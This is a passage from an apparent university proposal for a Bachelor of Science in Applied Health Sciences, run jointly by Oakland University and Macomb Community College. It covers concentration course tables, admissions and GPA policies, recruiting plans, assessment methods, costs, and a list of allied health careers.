of several issues you brought up at the meeting last Friday. For instance, WHP 350 offers Organizational Development, Member Management and Retention, Human Resources, Assessment among others. One of our core courses HS 450, Law, Values and Health Care provides a key understanding ethical and moral principles to apply in analyzing issues in medical ethics, another core course, HS 202 provides strategic teaching, relationship building and communication skills. Students are also required to meet the university general education requirements. All students must complete satisfactorily complete at least one approved course from each of the following ten categories here at Oakland University unless otherwise noted; 1. Writing Foundations satisfied by the completion of RHT 160. 2. Formal reasoning satisfied STA 225 3. Arts 4. Foreign language and culture 5. Global Perspectives 6. Literature 7. Natural Science satisfied by HS 201 8. Social Sciences satisfied by PSYC 1010 at MCC 9. Western Civilization satisfied by PHC 2100 at MCC 10. Knowledge Applications satisfied by WHP 310 11. Capstone satisfied by AHS 450 12. U.S. Diversity satisfied by HS 202. Students in the BS in Applied Health Sciences will complete a shared core set of courses: **Applied Health Sciences Core (46 credits):** | Course | Credits | |---------------------------------------------|---------| | BIO 111 Biology | 4 | | BIO 207 Physiology | 4 | | STA 225 Statistics | 4 | | HS 201 Health in Personal & Occ Env | 4 | | HS 202 Soc, Cult & Eco Persp in Health | 4 | | WHP 310 Injury Prevent, Control & Safety | 4 | | AHS 450 Law, Values & Health Care | 4 | | AHS 301 Human Nutrition and Health | 4 | | AHS 401 Introductory Pathology | 4 | | AHS 304 Exercise Physiology | 3 | | AHS 306 Exercise Physiology lab | 1 | | AHS 331 Pharmacology | 2 | | Choose one course: EXS 350, MLS 330/331, MLS 335, WHP 315, WHP 325, WHP 350 | 4 | Students will also need to complete the remaining General Education requirements: **REMAINING GENERAL EDUCATION REQUIREMENTS (20 CREDITS):** | Category | Course | Credits | |-----------------------------------------|------------------------------------------------------------------------|---------| | ARTS | Choose 1 course: MUS 334, 336, 338 or THA 301, 302 | 4 | | FOREIGN LANGUAGE AND CULTURE | | 4 | | GLOBAL PERSPECTIVES | | 4 | | LITERATURE | Choose 1 course: ENG 303, 305, 306, 312 | 4 | | WRITING FOUNDATIONS | RHT 160 | 4 | | Writing Intensive in General Education | | | | (Can be double counted with GP or Lit) | | | Students will also complete one of six concentrations from Macomb Community College: 1. **PRE-PHYSICAL THERAPY ASSISTANT STUDIES CONCENTRATION (66 CREDITS)**: | Course Code | Course Title | Credits | |-------------|---------------------------------------------------|---------| | RHT 150 | Composition I | 4 | | BIO 205 & 206 | Human Anatomy & Lab | 6 | | EXS 207 | First Aid & CPR | 3 | | PSY 100 | Introductory Psychology | 4 | | PHL 103 | Ethics | 3 | | NO OU EQUIVALENT | HHSC 1020 Physical Therapy Careers | 1 | | NO OU EQUIVALENT | PTAS 1020 Physical Therapy Procedures I – Lec. | 2 | | NO OU EQUIVALENT | PTAS 1030 Physical Therapy Procedures I – Lab | 3 | | NO OU EQUIVALENT | PTAS 1070 Joint Structure & Function – Lec. | 2 | | NO OU EQUIVALENT | PTAS 1080 Joint Structure & Function – Lab | 1 | | NO OU EQUIVALENT | PTAS 1090 Medical Issues for the PTA | 1.5 | | NO OU EQUIVALENT | PTAS 1140 Normal Human Development | 2 | | NO OU EQUIVALENT | PTAS 1150 Kinesiology Lecture | 3 | | NO OU EQUIVALENT | PTAS 1160 Kinesiology Laboratory | 1.5 | | NO OU EQUIVALENT | PTAS 1170 Physical Therapy Procedures II – Lec. | 2 | | NO OU EQUIVALENT | PTAS 1180 Physical Therapy Procedures II – Lab | 2 | | NO OU EQUIVALENT | PTAS 2340 Clinical Internship I | 2 | | NO OU EQUIVALENT | PTAS 2110 Neurophysiological Techniques – Lec. | 2 | | NO OU EQUIVALENT | PTAS 2130 Orthopedic Techniques Lecture | 2 | | NO OU EQUIVALENT | PTAS 2140 Orthopedic Techniques Lab | 1.5 | | NO OU EQUIVALENT | PTAS 2190 Physical Therapy Procedures III – Lec. | 1 | | NO OU EQUIVALENT | PTAS 2200 Physical Therapy Procedures III – Lab | 1 | | NO OU EQUIVALENT | PTAS 2350 Clinical Internship II | 2 | | NO OU EQUIVALENT | PTAS 2440 Rehabilitation Techniques Lecture | 2 | | NO OU EQUIVALENT | PTAS 2450 Rehabilitation Techniques Lab | 1.5 | | NO OU EQUIVALENT | PTAS 2460 Pediatrics | 2 | | NO OU EQUIVALENT | PTAS 2470 Cardiopulmonary Rehabilitation | 2 | | NO OU EQUIVALENT | PTAS 2500 Seminar | 2 | | NO OU EQUIVALENT | PTAS 2390 Clinical Internship III | 4 | (Satisfies MCC's Arts & Sciences category V) (Satisfies MCC's Arts & Sciences category IV) 2. OCCUPATIONAL THERAPY ASSISTANT STUDIES CONCENTRATION (65 CREDITS): | Course | Course Description | Credits | |---------------------------------------------|---------------------------------------------------------|---------| | RHT 150 Composition I | | 4 | | BIO 205 & 206 Human Anatomy & Lab | BIOL 2710 Human Physiological Anatomy | 6 | | EXS 207 First Aid & CPR | PHED 2070 Wellness-Focus Prevention | 3 | | PSY 100 Introductory Psychology | PSYC 1010 Introductory Psychology | 4 | | PHL 103 Ethics | PHI 2100 Introduction to Ethics | 3 | | NO OU EQUIVALENT | HHSC 1030 Orientation to Occupational Therapy | 1 | | NO OU EQUIVALENT | OTAS 1010 Activity Media and Task Analysis | 1.5 | | NO OU EQUIVALENT | OTAS 1020 Medical Language | 1.5 | | NO OU EQUIVALENT | OTAS 1110 Mental Health Conditions | 3 | | NO OU EQUIVALENT | OTAS 1210 Clinical Kinesiology | 3 | | NO OU EQUIVALENT | OTAS 1310 Life Span Development | 2 | | NO OU EQUIVALENT | OTAS 1330 Patient Interactive Comm. Skills | 1 | | NO OU EQUIVALENT | OTAS 1220 Clinical Kinesiology Lab | 1.5 | | NO OU EQUIVALENT | OTAS 1290 Rehabilitation Conditions | 4 | | NO OU EQUIVALENT | OTAS 1150 Mental Health Tech. & Treat. lecture | 2 | | NO OU EQUIVALENT | OTAS 1160 Mental Health Tech. & Treat. lab | 1.5 | | NO OU EQUIVALENT | OTAS 1350 Pediatrics | 1 | | NO OU EQUIVALENT | OTAS 1360 Pediatrics laboratory | 1 | | NO OU EQUIVALENT | OTAS 1380 Documentation Skills I | 1 | | NO OU EQUIVALENT | OTAS 1410 Level I Mental Health Fieldwork | 1 | | NO OU EQUIVALENT | OTAS 2210 Physical Dysfunction Tech. & Treat lec. | 2 | | NO OU EQUIVALENT | OTAS 2220 Physical Dysfunction Tech. & Treat lab | 1.5 | | NO OU EQUIVALENT | OTAS 2310 Gerontics | 1 | | NO OU EQUIVALENT | OTAS 2320 Gerontics Lab | 1 | | NO OU EQUIVALENT | OTAS 2340 Program Support | 1 | | NO OU EQUIVALENT | OTAS 2360 Fieldwork Preparation | 1 | | NO OU EQUIVALENT | OTAS 2380 Documentation Skills II | 1 | | NO OU EQUIVALENT | OTAS 2390 Assistive Technology | 1.5 | | NO OU EQUIVALENT | OTAS 2420 Level I Physical Dysfunction Fieldwork | 1 | | NO OU EQUIVALENT | OTAS 2480 Level II Mental Health Fieldwork | 4 | | NO OU EQUIVALENT | OTAS 2490 Level II Physical Dysfunction Fieldwork | 4 | 3. HEALTH INFORMATION TECHNOLOGY CONCENTRATION (66 CREDITS): | Course | Course Description | Credits | |---------------------------------------------|---------------------------------------------------------|---------| | RHT 150 Composition I | | 4 | | BIO 205 & 206 Human Anatomy & Lab | | 6 | | EXS 207 First Aid & CPR | | 3 | | PSY 100 Introductory Psychology | | 4 | | PHL 103 Ethics | | 3 | | ENGL 1180 Communications I | | 4 | | BIOL 2710 Human Physiological Anatomy | | 6 | | PHED 2070 Wellness-Focus Prevention | (Satisfies MCC's Arts & Sciences category V) | 3 | | PSYC 1010 Introductory Psychology | | 4 | | PHI 2100 Introduction to Ethics | (Satisfies MCC's Arts & Sciences category IV) | 3 | | HHSC 1700 Medical Terminology | | 3 | | HITT 1102 Intro to Health Info Management | | 3 | | HITT 1103 Legal Aspects of Health Info Manage.| | 3 | | ITCS 1010 Computer and Info Processing Prin.| | 4 | | HITT 1201 Pathophysiology and Pharmacology App.| | 3 | | HITT 1203 Health Info. Management Systems | | 3 | | HITT 1204 Int. Classification of Disease Coding | | 3 | | HITT 1205 Computers in Health Care | | 3 | | HITT 2101 Professional Practice Experience I| | 3 | | HITT 2102 Reimbursement Methods | | 3 | | HITT 2103 CPT/HCPCS and Outpatient Coding | | 3 | | HITT 2104 Health Information Statistics | | 3 | | HITT 2201 Professional Practice Experience II| | 3 | | HITT 2202 Organization Performance for HIM Prof.| | 3 | 4. SURGICAL TECHNOLOGY CONCENTRATION (66 CREDITS): | Course | Course Description | Credits | |---------------------------------------------|---------------------------------------------------------|---------| | RHT 150 Composition I | | 4 | | BIO 205 & 206 Human Anatomy & Lab | | 6 | | EXS 207 First Aid & CPR | | 3 | | PSY 100 Introductory Psychology | | 4 | | PHL 103 Ethics | | 3 | | NO OU EQUIVALENT | SURG 1050 Intro to Surgical Technology | 2 | | NO OU EQUIVALENT | SURG 1060 Intro to Central Process. Dist. | 4 | | NO OU EQUIVALENT | SURG 1070 Central Process. Dist. Tech Clin | 8 | | NO OU EQUIVALENT | SURG 1051 Intro to Surgical Patient Care | 2 | | NO OU EQUIVALENT | SURG 1200 Surgical Clinical 1 | 8 | | NO OU EQUIVALENT | SURG 1250 Surgical Specialties I | 4 | | NO OU EQUIVALENT | SURG 1260 Surgical Pharmacology | 3 | | NO OU EQUIVALENT | SURG 1300 Surgical Clinical II | 8 | | NO OU EQUIVALENT | SURG 1350 Surgical Specialties II | 4 | | NO OU EQUIVALENT | SURG 1360 Surgical Seminar | 3 | ENGL 1180 Communications I BIOL 2710 Human Physiological Anatomy PHED 2070 Wellness-Focus Prevention (Satisfies MCC's Arts & Sciences category V) PSYC 1010 Introductory Psychology PHI 2100 Introduction to Ethics (Satisfies MCC's Arts & Sciences category IV) 5. RESPIRATORY THERAPY CONCENTRATION (66 CREDITS): | Course | Course Description | Credits | |---------------------------------------------|---------------------------------------------------------|---------| | RHT 150 Composition I | | 4 | | BIO 205 & 206 Human Anatomy & Lab | | 6 | | EXS 207 First Aid & CPR | | 3 | | PSY 100 Introductory Psychology | | 4 | | PHL 103 Ethics | | 3 | | NO OU EQUIVALENT | RSPT 1050 Clinical Cardiorespiratory Phys. Anat | 4 | | NO OU EQUIVALENT | RSPT 1060 Physiochemical Basis of Resp. Therapy | 3 | | NO OU EQUIVALENT | RSPT 1080 Resp Therapy Procedures I lecture | 2 | | NO OU EQUIVALENT | RSPT 1090 Resp Therapy Procedures I lab | 2 | | NO OU EQUIVALENT | BIOL 2730 or 2400 Microbiology | 4 | | NO OU EQUIVALENT | RSPT 1110 Resp Therapy Procedures II lecture | 2 | | NO OU EQUIVALENT | RSPT 1120 Resp Therapy Procedures II lab | 4 | | NO OU EQUIVALENT | RSPT 1140 Cardiopulmonary Pathology | 3 | | NO OU EQUIVALENT | RSPT 1200 Cardiopulmonary Pharmacology | 1.5 | | NO OU EQUIVALENT | RSPT 1210 Pediatric/Neonatal Resp. Care | 1.5 | | NO OU EQUIVALENT | RSPT 1260 Clinical Internship I | 4 | | NO OU EQUIVALENT | RSPT 2250 Clinical Internship II | 2 | | NO OU EQUIVALENT | RSPT 2260 Clinical Internship III | 2 | | NO OU EQUIVALENT | RSPT 2330 Mechanical Ventilation Lecture | 2 | | NO OU EQUIVALENT | RSPT 2340 Mechanical Ventilation Lab | 1 | | NO OU EQUIVALENT | RSPT 2350 Advanced Diagnostics | 3 | | NO OU EQUIVALENT | RSPT 2360 Clinical Internship IV | 2 | | NO OU EQUIVALENT | RSPT 2420 Advanced Concepts in Resp. Care | 3 | 6. MEDICAL ASSISTANT STUDIES CONCENTRATION (66 CREDITS): | Course Code | Course Title | Credits | |-------------|---------------------------------------------------|---------| | RHT 150 | Composition I | 4 | | BIO 205 & | Human Anatomy & Lab | 6 | | 206 | | | | EXS 207 | First Aid & CPR | 3 | | PSY 100 | Introductory Psychology | 4 | | PHL 103 | Ethics | 3 | | NO OU | Medical Terminology | 3 | | EQUIVALENT | | | | BCOM 2050 | Business Communications | 4 | | MAST 1120 | Medical Assistant Clinical IA | 2 | | MAST 1130 | Medical Assistant Clinical IB | 2 | | MAST 1150 | Applied Math for Medical Assistants | 2 | | MAST 1720 | Body Systems I | 3 | | MAST 1180 | Medical Diagnostic Procedures | 2 | | MAST 1730 | Body Systems II | 3 | | MAST 1160 | Medical Assistant Clinical IIA | 2 | | MAST 1170 | Medical Assistant Clinical IIB | 2 | | MAST 1400 | Medical Assistant Insurance Forms | 3 | | MAST 1300 | Medical Assistant Lab Tech. A | 2 | | MAST 1310 | Medical Assistant Lab Tech. B | 2 | | MAST 1360 | Medical Assistant Administration I | 3 | | MAST 1601 | Medical Assistant Phlebotomy | 3 | | MAST 1420 | Computer App. For Medical Assistants | 3 | | MAST 1600 | Medical Assistant Externship | 3 | | MAST 1390 | Medical Assistant Administration | 2 | (Satisfies MCC's Arts & Sciences category V) (Satisfies MCC's Arts & Sciences category IV) Grade point policy Students must maintain a cumulative GPA of 2.5 in all Applied Health Sciences course work applied to the major. Students in the major will be placed on probation if they earn a grade less than 2.0 in any course or if their cumulative grade point average in major course work falls below 2.5. Students who earn a second grade below 2.0 must have their programs reviewed by the faculty to determine remediation or termination from the program. In order to remove probationary status students must raise their major grade point average to 2.5 or higher. Code of ethics Ethical conduct is critical to a health profession. Therefore, in addition to the Academic Conduct Policies stated in the undergraduate catalogue, students are required to abide by the Codes of Conduct established by Oakland University. Violations will be reviewed by the faculty and could result in dismissal from the program. Admission criteria Students may be admitted to the program following successful completion of their associate degree from Macomb County Community College. All classes are transferable from Macomb County Community College per the Articulation agreement between the two schools. Returning students who have worked in their field following successful completion of their associate degree may now want to upgrade their degree in response to new national accrediting standards will also be accepted. Admission requirements are satisfied by admission to the University. Incoming freshman must be admitted to the Macomb2Oakland duel enrollment program and need to meet admission procedures for the Macomb Community College program. The School of Health Sciences does not support putting an age limit on the transferability of courses. We never have before so unless there is a particular reason we do not plan on limiting the courses. We are counting on older students who have been out in the field for many years with a associate's degree coming back to complete their bachelor's degree to fulfill their new certification requirements. Internal supporting procedures Numerous internal supporting procedures have, and will be addressed. These include primarily the provision of adequate student advising with the incorporation of a second School of Health Sciences adviser, and administrative procedures, the latter being the responsibility of the program director. Library We requested and have received a letter by Shawn Lombardo. We indicated that there would be no new faculty due to the initial student enrollment prediction, also no new courses will need to be developed because of sufficient cross-listing with present courses with the probability of future the development of one or two new sections from existing courses. Please see Appendix. Implementation based in Career Paths Rand J. O’Leary, VP, Clinical & Support Services for St. Joseph’s Healthcare predicts that future health care professional will need skills to grow into a Management Position in Healthcare. Health care professionals must acquire these skills through experience and continued education leading to a Baccalaureate or Masters’ degree in their respected field. Skills needed to grow into a Management Position in Healthcare are the following; Ability to Multi-task in fast paced environment - Must have experience with Strategic planning, Six Sigma, etc. - Excellent communication skills, both written and oral with the ability to present to both large & small groups. - Team player with strong interpersonal, motivational and conflict resolution skills. - In-depth knowledge of all regulations and laws relevant to the field including JHACO - Knowledge of best practices in the field with the skills and ability to implement best practices and track results. - In-depth understanding of all technical aspects of the field including computerized medical records, etc. - Must be flexible and pro-active with the ability to continue to learn and pass on that knowledge. The Career Paths and the Education already required or soon to be required are the following; 1. Director of Behavioral Medicine/Home Care Graduate level degree required 2. Clinical Manager BSN or Bachelor in Management 3. Assistant Clinical Manager BSN or Bachelor in related healthcare field 4. Supervisor Home Care Bachelor of Science in Nursing 5. Director of Cancer Care/Medical Imaging Masters degree in BA, HA or related field 6. Manager of Medical Imaging & Oncology Information Systems Bachelor degree in related science field 7. Supervisor Imaging Technology Associated degree in Diagnostic Medical Sonography 8. Director of Cardiovascular Services Graduate level degree required 9. Manager of Cardio/Neuro/Vascular Completion of a two-year college program or technical school 10. Dir Ortho/Neuro/Rehab Graduate level degree required 11. Manager of Rehabilitation Services Bachelor degree in Physical Therapy, Occupational Therapy, Speech 12. Supervisor of Physical Therapy, Occupational Therapy, or Respiratory Therapy Bachelor degree in Physical Therapy, Occupational Therapy, or Respiratory Therapy or related field 13. Lead Physical Therapy, Occupational Therapy or Respiratory Therapy Therapist Bachelor degree in Physical Therapy, Occupational Therapy, or Respiratory Therapy or related field As of 10 - 15 Years Ago the following education was only acquired; 1. Director Behavioral Medicine/Home Care Bachelor of Required, Masters Preferred 2. Clinical Manager Registered Nurse, BSN Preferred 3. Asst Clinical Manager Registered Nurse, BSN preferred 4. Supervisor in Home Care Registered Nurse Mr. O’Leary points out that in summary; - Leadership development and expanded education will be required of all healthcare workers in the future. - Although a priority, financial challenges will continue to limit healthcare and its ability to make these investments. - Bachelor degree has become the entry level requirement for most if not all leadership positions. - Healthcare will actively seek out the best and brightest in an increasingly competitive job market. Clearly, education will be necessary to secure a position in the Health Care arena for the future. Other unit contributions Several service-oriented divisions on the Oakland University campus are well positioned to contribute to the success of the proposed major in Applied Health Sciences. Significant opportunity exists for cross-collaboration for mutual benefit. Among these divisions are Medical laboratory Sciences, Health Sciences, Occupational Safety and Health, Wellness, Health Promotion and Injury Prevention, Students Affairs and Campus Recreation, the Graham Health Center, Exercise Science, and Physical Therapy. A definite area of potential mutual benefit should the proposed major be approved, would be the opportunity for senior students to offer multiple health and wellness services to their peers. A "domino effect" would occur, with student resources providing health initiatives to other students. Such services could take the form of health fairs, presentations, and other interventions in collaboration with the above units. There are opportunities for mutual benefit for students in the proposed major. Students coming from Macomb Community College will be able to continue their education leading to a Bachelors’ degree in Applied Health Sciences. These students who wish to pursue other avenues once they have received their Applied Health Sciences degree can advance themselves with a Masters’ or Doctorate degree from one of many opportunities offered in the School of Health Sciences or other advanced degrees offered at Oakland University. Recruiting plans **Target Markets** Applied Health Sciences’ target markets include students enrolled in associate degree programs from Macomb Community College’s six Health Professions programs mentioned above. Another target market is the Associate Degree students who have already received their degree in Macomb’s Health Profession and are returning to Oakland University to receive a Bachelor in Applied Health Sciences to meet their new accreditation standards. It is also anticipated that other articulation agreements with surrounding community colleges will be formulated in the future enhancing the Applied Health Sciences major. Incoming freshman, as well as current Oakland University students listed as undecided or undecided Health Sciences students may take advantage of this new major. Other target markets include transfer students as well as non-traditional age (25+) undergraduate and transfer students, and underrepresented students. This is a wide and varied audience. Marketing strategies to reach each of these markets will include: - **General:** 1. Update SHS website so prospective and current students can get accurate information on programs and contact information. 2. Create a brochure highlighting new SHS Applied Health Sciences major. 3. Create a short promotional video for SHS Applied Health Sciences major. - **High School Students:** 1. Inform Oakland University Admissions Advisers about accurate information regarding SHS programs for high school college fairs. 2. Inform campus visit coordinator of SHS programs for high school student campus tours. 3. Present on SHS programs in high school health/wellness courses. 4. Attend OU open houses and Grizzly Day events to meet with prospective students. 5. Send SHS brochures to guidance counselors and health teachers at all high schools in Wayne, Oakland, and Macomb counties. - **Transfer students:** 1. Represent SHS at transfer open houses and fairs. 2. Represent SHS at Macomb Community College Transfer Tuesdays. 3. Attend counselor to counselor updates at Macomb Community College. 4. Update program guides for MCC. - **Non-traditional students (25+):** 1. Put ad in local newspapers promoting SHS, the Macomb2Oakland programs, and the new major. 2. Post brochures in local coffee shops, grocery stores, etc... 3. Radio ads. - **Underrepresented students:** 1. All action items listed for high school and transfer students. 2. Contact departments within the university that focus on diversity such as: Center for Multicultural Initiatives, Department of Learning Resources, and International Students and Scholars. 3. Set up scholarship fund for SHS diverse students. 4. Represent SHS at McCree Scholars, PUB, KCP senior banquet. **Planned enrollment levels** At this time there are no direct barriers for implementation and no new faculty are needed due to the initial student enrollment prediction. No new courses will need to be developed because of sufficient cross-listing with present courses with the probability of future development of one or two new sections from existing courses. The benefit to Oakland University and the School of Health Sciences will be more students coming to Oakland University with more options within Health Sciences. Faculty and staff members from both institutions have reviewed and approved the curriculum. Additionally, the M2O articulation agreement allows OU to extend their offerings at Macomb Community College and it is foreseen that several of our Applied Health Sciences courses will be taught at this extension. There is a documented job market and an increase in salaries for these future graduates as identified by the attachments to this proposal. The following information details the proposed curriculum for the new major. It was initially anticipated that most of the students would already have the associate degree from MCC and would then transfer to OU to complete the bachelor's degree. However, there are some students that will not do it in that order and take courses at both institutions at the same time especially now with the dual enrollment program. Admissions will be based on official college transcripts demonstrating a C or better in A&P and micro, letters of recommendations from 2 professional in their field such as 2 surgeons in the Surgical Technology Concentration, and an employer, and also current employment in an experience in the field of preference. Most of the Macomb Community College health programs have selective admissions, so the students apply through the selective admissions process. In all of the Macomb Community College health professionals students must have a C or better in their program related courses, and a passing grade in their clinical courses to move forward. The Admissions Criteria for incoming freshman into the M2O Dual Enrollment are as follows: **Freshmen** Applicants must submit high school transcripts and ACT scores along with a completed application and $25 application fee for undergraduate admission. Admission to the Macomb 2 Oakland program is based on a combination of criteria: - Cumulative grade point averages in academic subjects of 3.2 or above. - Applicants with cumulative grade point averages below 3.2 but above 2.5 may be admitted after consideration of the quality of academic preparation. - ACT scores - Number and types of college preparatory courses We strongly encourage students to follow a college preparatory curriculum that includes: - English, four years - Mathematics, including intermediate algebra, minimum of three years - Social sciences, minimum of three years - Biological/physical sciences, minimum of three years - Foreign language, minimum of two years Planned enrollment expectations Planned enrollment levels are fifteen students in the first year, with projected increases up to fifteen students per year thereafter. Of importance is the fact that this major will provide multiple opportunities for all Oakland University students to take courses related to Applied Health Sciences within the School of Health Sciences. Letters of support from external sources Letters of support were received from both external agencies, and university reviewers. See Appendix Major Assessment An extensive assessment plan is envisaged that would mirror the assessment procedures of the School of Health Sciences’ Bachelor of Science in Applied Health Science Assessment Plan created by Dr. Richard J. Rozek. This plan would include sources of input as outlined below, implemented on timeframes similar to those used by Applied Health Sciences, and would culminate in changes in philosophy, mission, goals and procedures for the purpose of program enhancement. At present the program would not immediately be subject to evaluation or accrediting by an external body, and therefore this is not an impediment to implementation. This will facilitate graduate certification in the field. There exists the possibility of future accrediting of programs. Sources of data for major assessment: a. Data from the admissions process, criteria for admissions, and class demographics. b. Faculty course evaluations. c. Student-completed course evaluations. d. Open forums with students. e. Summary data of student performance. f. Facility evaluations of student performance in internships and senior culminating project work. g. Student evaluations of internship and project work sites. h. Two-year and exit surveys of students. i. Alumni surveys. j. Surveys of employers and co-workers of graduates. k. Program director work site reviews/assessment. Sources of data for faculty assessment: a. Student courses evaluations. b. University tenure and promotion review process. c. Yearly merit review. d. Informal assessment of teaching by program director. NEEDS AND COSTS OF THE MAJOR Required additional resources A number of assumptions were used to derive a five-year plan to determine the needs and costs of the program, and the required additional resources. Among the assumptions used in a detailed course-by-course analysis in the feasibility study, and further refined for the purposes of this proposal, are: Faculty positions Faculty positions have been factored into the Proforma Statement. Staff positions Facilitation of adequate student advising is now available with the addition of a new adviser in the School of Health Sciences. Administrative and staffing needs have been factored into the Proforma Statement. Library holdings Library requirements are detailed in and factored into the Proforma Statement. Teaching assistants Teaching assistants will not be needed. Space It is not anticipated that additional space will be required for the first three years since we are incorporating existing courses into the new major and half of their degree will be taken at Macomb County Community College. As the student population grows with more students entering the Applied Health Sciences major we anticipate bigger classrooms and eventually additional sections being added. Provision of laboratory and additional classroom space will also not be required. Equipment Initial equipment needs are 5 new computers and the needs and costs have been factored into the Five-Year Plan and Proforma Statement (Appendix). Direct support from outside agencies No direct financial support has, as yet, been obtained from outside agencies. However, our participation at Macomb County Community College as more courses are generated at the Macomb County Community College campus will generate additional revenues to be used by this major. Given the interdisciplinary curriculum design, current course offerings provide a significant percentage of the degree, and represent effective and optimum use of internal resources. Expected university commitment Provision of financial resources for the hiring of new faculty and staff, and purchase of equipment, as per the Five-Year Plan and Proforma Statement. As requested by the Senate Budget Review Committee, we have implemented a two Proforma plan. The first Proforma is the actual realistic assessment and the second refers to an optimistic scenario (Appendix). Increased support the program will give the University It is argued that the future support this program will attract for the University is significant and overwhelmingly positive, yet immeasurable at this stage. Feasibility study feedback yielded substantial positive feedback, and numerous public service opportunities were suggested. Tuition The initial primary cost-recovery for this program is expected in the form of tuition and fees, as per the Five-Year Plan and Proforma Statement (Appendix J). Public service Initially, service outreach by this program is likely to be internal, with provision of peer wellness services to students, and later, the development of a comprehensive employee wellness program in conjunction with existing service providers on campus. The goal of the planned senior culminating experience course is to provide opportunity for undergraduate contract and research targeting local industry, as is done by other Oakland University research centers and institutes. Undergraduate Majors in the School of Health Sciences Bachelor of Science Degree Medical Laboratory Sciences Major - Radiologic Technology Specialization (Proposed) - Specialization in Histotechnology - Specialization in Cytotechnology - Specialization in Radiation Therapy - Specialization in Nuclear Medicine - Specialization in Clinical Laboratory Sciences Occupational Safety and Health Major Wellness, Health Promotion and Injury Prevention Major Health Sciences’ Major - Pre-Health Professional Academic Concentration - Exercise Science Academic Concentration - Pre-Physical Therapy Academic Concentration - Pre-Pharmacy Academic Concentration - Integrative and Holistic Health Care Concentration Applied Health Science (Proposed Major) - Health Information Technology Concentration - Occupational Therapy Assistant Concentration - Physical Therapy Assistant Concentration - Medical Assistant Studies Concentration - Respiratory Therapy Concentration - Surgical Technology Concentration 1. Oakland University goals as applied to the major in Applied Health Science a) Oakland University assumes an obligation to advance knowledge, skills and abilities through the medium of high-quality undergraduate curricula, with the goal to prepare students for meaningful work and fulfilling lives. b) Oakland University promotes research and creative endeavors to prepare students for the rigors of post-baccalaureate education. c) Oakland University prepares students to serve the community by providing appropriate instructional techniques, and promoting an ethos of productive and responsible citizenship. 2. Academic unit goals a) Applied Health Sciences students develop multi-disciplinary understanding of determinants and issues in health and wellness, thereby facilitating knowledge and skills for appropriate individual- and community-centered interventions. b) Applied Health Science students are prepared with conceptual, technical, and other applied behavior change skills for a variety of careers in the health care field. c) Applied Health Science students become effective communicators in health care. b) The major in Applied Health Science prepares students for in allied health fields and possibly on to graduate education. e) The major in Applied Health Sciences provides meaningful opportunities for students to develop applied health care, critical thinking and problem solving skills. f) The major in Applied Health Sciences provides meaningful opportunities for students to apply knowledge, skills and abilities in service of the community or workplace. 3. Learning objectives Recognized competencies for entry-level worksite health promotion practitioners form the basis for the set learning objectives. The program will not be externally accredited but should prepare students effectively to meet the challenge of recognized external certification examinations. Student learning objectives adopted by the program are: a) Students will know and understand all learning outcomes pertaining to their profession and the guidelines set forth by the School of Health Sciences. b) Students will learn the major determinants of health and health outcomes, and develop applied strategies in their professions. c) Students will know and understand the interdisciplinary content within their fields of Applied Health Science. d) Students will develop the knowledge and skills necessary for successful health care opportunities or entry to graduate schools in allied health fields. e) Students will be able to apply their knowledge to solve real-world problems. f) Students will be involved in community service, and/or applied research. 4. Methods to attain unit goals Ongoing and planned assessment An extensive assessment plan is in place for the major in Applied Health Science. The plan includes sources of input as outlined below and has culminated in changes in philosophy, mission, goals and procedures for the purpose of program enhancement. The program adopts a competency-based approach to knowledge, skills and abilities based on recognized competencies for the entry-level worksite health care practitioner, as published by external associations. Specific assessment devices (questionnaires, measuring, survey instruments etc.) continue to be developed as the program progresses, but many are already in place. Direct sources of data for student performance: i. Evaluation of real-world, applied health care course projects, including random faculty peer review by multiple reviewers. ii. Evaluation of written and oral communication ability and health care materials produced by the student, including random faculty peer review by multiple reviewers. iii. Evaluation of student performance in practical and oral examinations. iv. Evaluation of student senior culminating experience (capstone) course performance requiring completion for graduation. v. Assessment embedded in other upper-level course exams or assignments. Indirect sources of data for student performance: i. Correlation of admissions data, criteria for admissions, and class demographics with measured student success (graduation rates). ii. Open-ended forums with students. Both specific and thematic feedback data will be recorded. iii. Surveys of employers and co-workers of graduates. iv. Program director work site reviews/assessment. v. Measured success with admissions to graduate school. 5. Individuals responsible for assessment activities Richard J. Rozek, Ph. D. Associate Professor, OSH Coordinator, Health Sciences Telephone: (248) 370-3565 e-mail: email@example.com Fax: (248) 370-4227 Office: 372 Hannah Hall Allied Health Careers "Allied Health" is used to define a variety of health professions and covers as many as 100 different occupations, exclusive of physicians, nurses, and a handful of others. About two million allied health professionals work in the United States and are involved with the delivery of health or related services. They range from the identification, evaluation, and prevention of diseases and disorders, to dietary and nutrition services, to rehabilitation and health systems management, among others. Click on the links below for more information on the various careers. Anesthesiologist Technicians Hospital Council of Pennsylvania Athletic Trainers American Medical Association National Athletic Trainers’ Association: Education Overview Biological and Medical Scientists U.S. Department of Labor Occupational Outlook Handbook Biomedical Engineers U.S. Department of Labor Occupational Outlook Handbook Blood Bank Technology Specialists American Medical Association HealthCare at Monster.com: Unsung Blood-Bank Heroes Ensure Safe Blood Supply Cardiovascular Technicians U.S. Department of Labor Occupational Outlook Handbook Medical Creer Information: Cardiovascral Technician Clinical Laboratory Scientists/Med Techs American Society for Clinical Laboratory Science (ASCLS) Clinical Laboratory Technicians U.S. Department of Labor Occupational Outlook Handbook American Medical Association Counselors American Medical Association U.S. Department of Labor Occupational Outlook Handbook Cytotechnologists American Medical Association Dental Assistants U.S. Department of Labor Occupational Outlook Handbook Dental Hygienists American Medical Association U.S. Department of Labor Occupational Outlook Handbook Dental Laboratory Technicians American Medical Association U.S. Department of Labor Occupational Outlook Handbook Dentists iSeek: Dentists U.S. Department of Labor Occupational Outlook Handbook Diagnostic Medical Sonographers American Medical Association U.S. Department of Labor Occupational Outlook Handbook Dietetic Technicians American Medical Association U.S. Department of Labor Occupational Outlook Handbook Dieticians and Nutritionists American Medical Association U.S. Department of Labor Occupational Outlook Handbook Electroneurodiagnostic Technicians American Medical Association Emergency Medical Technicians and Paramedics American Medical Association U.S. Department of Labor Occupational Outlook Handbook Genetic Counselors American Medical Association Health and Safety Industrial Engineers U.S. Department of Labor Occupational Outlook Handbook Health Information Management Service Professionals American Medical Association U.S. Department of Labor Occupational Outlook Handbook Histologic Technicians/Histotechnicians American Medical Association American Society for Clinical Pathology Kinesiotherapists American Medical Association Medical Assistants American Medical Association U.S. Department of Labor Occupational Outlook Handbook Medical and Health Services Managers U.S. Department of Labor Occupational Outlook Handbook Medical Illustrators American Medical Association Medical Records and Health Information Technicians U.S. Department of Labor Occupational Outlook Handbook Medical Transcriptionists U.S. Department of Labor Occupational Outlook Handbook Music Therapists American Medical Association 